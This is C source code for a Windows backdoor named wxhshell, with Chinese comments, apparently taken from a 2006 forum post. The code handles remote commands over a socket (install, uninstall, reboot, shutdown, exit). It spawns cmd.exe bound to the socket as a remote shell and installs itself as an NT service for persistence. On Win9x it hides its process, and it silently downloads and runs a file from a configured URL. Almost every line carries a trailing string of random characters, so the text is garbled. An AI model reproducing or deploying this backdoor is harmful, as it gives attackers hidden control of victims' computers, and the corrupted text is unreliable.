  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j9*5Kj  
  } 2(25IYMS8  
  else { w %R=kY)o  
%( #kJZ  
    switch(cmd[0]) { .]ZMxDZ  
  /v7o!D1G  
  // 帮助 no7Q%O9  
  case '?': { [wM]w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +%)bd  
    break; >44,Dp]  
  } 8WLBq-]G  
  // 安装 3W55 m@w  
  case 'i': { 0E/16@6=  
    if(Install()) ~D_Wqr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[MtUWEW  
    else A8j$c~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^,9O92l  
    break; jGtu>|Gj  
    } MmD1@fW32#  
  // 卸载 rl:D>t(:.  
  case 'r': { eI=:z/pd  
    if(Uninstall()) R|-!5J4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \  6 : 7  
    else ;oVFcZSA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @'JA3V}  
    break; >5j&Q#Bu  
    } f|&, SI?  
  // 显示 wxhshell 所在路径 tWITr  
  case 'p': { ?pkGejcQ  
    char svExeFile[MAX_PATH]; husk\  
    strcpy(svExeFile,"\n\r"); 4[ =C,5r  
      strcat(svExeFile,ExeFile); ^%}PRl9  
        send(wsh,svExeFile,strlen(svExeFile),0); G(MLq"R6U  
    break; R;H>#caJ  
    } ApqNV  
  // 重启 diD[/&k#kh  
  case 'b': { $DhW=(YM_a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {@ Z%6%'9  
    if(Boot(REBOOT)) *&$2us0%%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k;!}nQ&  
    else { Lo5CVlK  
    closesocket(wsh); >JT^[i8[  
    ExitThread(0); QI6=[  
    } %)P)Xb  
    break; N`NW*~  
    } v6O5n(5,,  
  // 关机 'rSJ9Mw"x  
  case 'd': {    
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nD#uOep9  
    if(Boot(SHUTDOWN)) _TjRvILC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!g];7PG(  
    else { `_ )5K u}  
    closesocket(wsh); A9ZK :i7  
    ExitThread(0); !'8jy_<9  
    } Z>J3DH  
    break; SfUbjs@a  
    } @~`:sa+H  
  // 获取shell -k,?cEjCs  
  case 's': { e+Sq&H!@  
    CmdShell(wsh); p%-m" u  
    closesocket(wsh); h?-M+Ac  
    ExitThread(0); ivJTE  
    break; VMJK9|JC[  
  } ~A,(D-  
  // 退出 GLa_[9 "  
  case 'x': { UOkVU*{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +p0Y*.  
    CloseIt(wsh); W>J1JaO  
    break; ?HP{>l0r  
    } K8/I+#j  
  // 离开 QUz_2rN^  
  case 'q': { j:xm>X'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uF<\|y rFt  
    closesocket(wsh); YL9Tsw  
    WSACleanup(); XrN]}S$N  
    exit(1); vfOG(EkG.?  
    break; >o! 5)\F  
        } *DPKV$  
  } /|,:'W%U  
  } Y!3i3D  
LqoH]AcN  
  // 提示信息 8o[+>W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9[Xe|5?c  
} oZ!+._9  
  } drh,=M\F  
zN7Ou .  
  return; xHWD1>  
} Tu-I".d+  
%p tw=Ju  
// shell模块句柄 ts;C:.X  
int CmdShell(SOCKET sock) b0yNc:  
{ "In$|A\?E  
STARTUPINFO si; <gx"p#JbZ  
ZeroMemory(&si,sizeof(si)); g/`z.?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K#a_7/!v/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rwY{QBSf  
PROCESS_INFORMATION ProcessInfo; Z]=9=S| .4  
char cmdline[]="cmd"; >(eR0.x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [_zoJ  
  return 0; RbJbVFz8C  
} W>m #Mz  
HQ`A.E2  
// 自身启动模式 iS}~e{TP/  
int StartFromService(void) f^ 6da6Z  
{ );L+)UV  
typedef struct Z~HLa  
{ B}npom\tC  
  DWORD ExitStatus; -k}&{v  
  DWORD PebBaseAddress; -SKcS#IF  
  DWORD AffinityMask; 4L)Ox;6>  
  DWORD BasePriority; vff`Xh>k(  
  ULONG UniqueProcessId; m,#Us  
  ULONG InheritedFromUniqueProcessId; Y$N D  
}   PROCESS_BASIC_INFORMATION; +3k#M[Bn}  
wPH1g*U  
PROCNTQSIP NtQueryInformationProcess; BnIZ+fg=  
YveNsn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'kk B>g7B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jjJ l\Vn  
SAGECK[Ix  
  HANDLE             hProcess; sr`)l&t?  
  PROCESS_BASIC_INFORMATION pbi; N t_7Z  
0xpE+GY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VMV~K7%0  
  if(NULL == hInst ) return 0; >@L^^ -r  
%y R~dt'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^li(q]g1!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~:):.5o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5vjtF4}7!  
xZp`Ke!  
  if (!NtQueryInformationProcess) return 0; 7G9o%!D5  
o]m56  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BV6 U -  
  if(!hProcess) return 0; LKI2R_|n  
M;1B}x@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ub<^;Du5  
<!I^xo [  
  CloseHandle(hProcess); dJUI.!hv;  
`&qeSEs\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?\Lf=[  
if(hProcess==NULL) return 0; b'TkYa^  
5.FAuzz  
HMODULE hMod; {^SHIL  
char procName[255]; eHH qm^1z  
unsigned long cbNeeded; (vr v-4  
6;hZHe'W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R#33AC CX  
F)4;:".zna  
  CloseHandle(hProcess); S9@)4|3C|p  
h,)UB1  
if(strstr(procName,"services")) return 1; // 以服务启动 n%}Vd `c  
OQa;EBO  
  return 0; // 注册表启动 -H AUKY@;5  
} HLp'^  
qlIbnyP<  
// 主模块 GXx/pBdy[4  
int StartWxhshell(LPSTR lpCmdLine) iJ 8I# j+N  
{ \[;Qqn0  
  SOCKET wsl; ]^?V8*zL]  
BOOL val=TRUE; Q>[GD(8k  
  int port=0;  TrmU  
  struct sockaddr_in door; wNhtw'E8  
zHW}A `Rz  
  if(wscfg.ws_autoins) Install(); ,.PmH.zjmR  
#J)83  
port=atoi(lpCmdLine); %!QY:[   
_#rE6./@q  
if(port<=0) port=wscfg.ws_port; Y)OTvKrOA  
&P3ep[]j  
  WSADATA data; Y"Y+U`Qt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pg/$ N5->  
zoI0oA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x\2N @*I:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fN{JLp  
  door.sin_family = AF_INET; l/o 4bkV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gCc::[}\Y  
  door.sin_port = htons(port); ejI nJ  
O^yD b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pxi/ ]6pw  
closesocket(wsl); >ISN2Kn   
return 1; > ;zQ.2*  
} hp)k[|u;  
g$$j:U*-  
  if(listen(wsl,2) == INVALID_SOCKET) { {[Vkht}  
closesocket(wsl); + c"$-Jr  
return 1; XZ!^kftyW  
} rytaC(  
  Wxhshell(wsl); WnZn$N.  
  WSACleanup(); :OvTZ ?\  
;L.RfP"5<  
return 0; !w-`:d?  
YR} P;  
} tOf18V{a  
cl3Dwrf?  
// 以NT服务方式启动 Ci?A4q$.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #K _E/~  
{ q%xq\L.  
DWORD   status = 0; CH3bpZv  
  DWORD   specificError = 0xfffffff; h|S6LgB  
(S4[,Sx6E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CEr*VsvjsU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )/ 2J|LxS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fi!XaO  
  serviceStatus.dwWin32ExitCode     = 0; <fm0B3i?  
  serviceStatus.dwServiceSpecificExitCode = 0; >[|Y$$  
  serviceStatus.dwCheckPoint       = 0; /WX 0}mWu  
  serviceStatus.dwWaitHint       = 0; V]I+>Zn| 7  
Gv uX"J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Xt!dT-  
  if (hServiceStatusHandle==0) return; w` ;>+_ E7  
>s+TD4OfY  
status = GetLastError(); (fJ.o-LQ  
  if (status!=NO_ERROR) yC<[LH  
{ a="\?L5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q VcZF7  
    serviceStatus.dwCheckPoint       = 0; L=9w 3VXS  
    serviceStatus.dwWaitHint       = 0; Ivue"_i;!  
    serviceStatus.dwWin32ExitCode     = status; v)AadtZ0d  
    serviceStatus.dwServiceSpecificExitCode = specificError; $IU|zda8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gcNpA?mC|u  
    return; >'GQB  
  } ;x=r.3OQy  
}qhNz0*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1FQ_`wF4  
  serviceStatus.dwCheckPoint       = 0; auKGm:  
  serviceStatus.dwWaitHint       = 0; NEG&zf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CF?TW  
} 31@m36? X  
uY~xHV_-  
// 处理NT服务事件,比如:启动、停止 v%%;Cp73  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XdR^,;pWE  
{ F;,LY:s|Z  
switch(fdwControl) V;}6C&aP.  
{ KKLW-V\6K  
case SERVICE_CONTROL_STOP: <h"*"q|9  
  serviceStatus.dwWin32ExitCode = 0; x\m?*5p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HECZZnM  
  serviceStatus.dwCheckPoint   = 0; V%c1+h<  
  serviceStatus.dwWaitHint     = 0; uI*2}Q   
  { eGJ}';O,g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W7ffdODb  
  } J6VG j=/  
  return; mI$3[ #+  
case SERVICE_CONTROL_PAUSE: zu8l2(N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cqyrao3;  
  break; Ao/KB_4f*Q  
case SERVICE_CONTROL_CONTINUE: aAX(M=3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9WH  
  break; [8J/# !B  
case SERVICE_CONTROL_INTERROGATE: )K+ Tvx3(m  
  break; (VxWa#P  
}; |G QFNrNx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *`HE$k!  
} "7T9d)  
kroO~(\  
// 标准应用程序主函数 1-=zSWmyK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1*>lYd8 _  
{ DE^@b+6  
\?X'U:  
// 获取操作系统版本 ee=d*)  
OsIsNt=GetOsVer(); <&$:$_ah  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mq(*4KFWJ2  
]ZjydQjo )  
  // 从命令行安装 pzPm(M1^X  
  if(strpbrk(lpCmdLine,"iI")) Install(); l"-F<^ U  
%?7j Q  
  // 下载执行文件 ] _ON\v1  
if(wscfg.ws_downexe) { :$#"; t|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9W[ ~c"Ku  
  WinExec(wscfg.ws_filenam,SW_HIDE); I>jDM  
} z^q ~|7  
]5=C3Y  
if(!OsIsNt) { #el i_Cxe  
// 如果时win9x,隐藏进程并且设置为注册表启动 -brn&1oJ  
HideProc(); Rf~? u)h1  
StartWxhshell(lpCmdLine); oq>8  
} xqua>!mqS  
else 'Wn2+pd  
  if(StartFromService()) @]EJbiGv  
  // 以服务方式启动 6,*o;<k[  
  StartServiceCtrlDispatcher(DispatchTable); iB:](Md'r  
else }8W5m(Zq9n  
  // 普通方式启动 qrj:H4#VB  
  StartWxhshell(lpCmdLine); Ak\w)!?s  
]qLro<  
return 0; {'QA0K  
}
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只看该作者 1 发表于: 2006-10-10
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